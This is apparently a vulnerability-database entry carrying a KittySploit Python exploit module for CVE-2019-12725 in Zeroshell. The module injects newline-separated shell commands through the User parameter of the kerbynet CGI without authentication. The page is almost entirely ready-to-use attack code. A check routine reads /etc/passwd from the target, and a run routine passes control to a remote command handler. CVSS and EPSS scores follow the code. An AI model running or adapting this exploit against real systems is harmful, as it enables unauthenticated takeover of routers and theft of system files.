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Zeroshell kerbynet RCE (CVE-2019-12725)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
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Unauthenticated RCE in Zeroshell via newline injection in the User parameter of kerbynet.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zeroshell kerbynet command injection (CVE-2019-12725)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zeroshell kerbynet RCE (CVE-2019-12725)',
        'description': (
            'Exploits CVE-2019-12725 in Zeroshell 3.9.0: newline injection in the User '
            'parameter of kerbynet StartSessionSubmit yields unauthenticated RCE.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-12725'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-12725',
        ],
        'tags': ['zeroshell', 'router', 'rce', 'cmdi', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_12725_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        user = f"'\n{cmd}\n'"
        path = (
            '/cgi-bin/kerbynet?Action=StartSessionSubmit'
            f'&User={urllib.parse.quote(user, safe="")}&PW='
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-12725 Zeroshell RCE confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Zeroshell injection not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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05 Oct 2026 14:20Current
8.3High risk
Vulners AI Score8.3
CVSS 39.8
CVSS 210
EPSS0.89849
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